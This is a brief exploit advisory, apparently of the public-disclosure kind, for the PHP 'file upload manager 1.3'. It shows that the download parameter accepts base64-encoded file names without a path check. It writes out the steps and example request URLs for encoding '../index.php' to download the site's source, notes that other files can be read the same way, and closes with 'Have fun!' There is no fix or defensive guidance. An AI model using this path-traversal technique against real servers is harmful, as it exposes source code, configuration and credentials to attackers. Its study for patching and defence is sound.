Description:
file upload manager 1.3
written by thepeak (adam medici)
copyright (c) 2003 thepeak of mtnpeak.net
A simple, powerful tool to upload and manage files using your web browser.
Exploit :
http://somesite.com/example/index.php –> upload form
Now, we upload one file to server, ex : test.jpg –>ok
We have its url to view it : http://somesite.com/example/index.php?act=view&file=dGVzdC5qcGc=
anh url to download it : http://somesite.com/example/index.php?act=dl&file=dGVzdC5qcGc=
Notice that the value "dGVzdC5qcGc=" of parameter file is encoded 64 of " test.jpg"
We need get source file http://somesite.com/index.php.
Encode 64 path to index.php above : …/index.php –> Li4vaW5kZXgucGhw
==> we have the link to download source file index.php (notice act=dl)
http://somesite.com/example/index.php?act=dl&file=Li4vaW5kZXgucGhw
You can also download other files.
Have fun!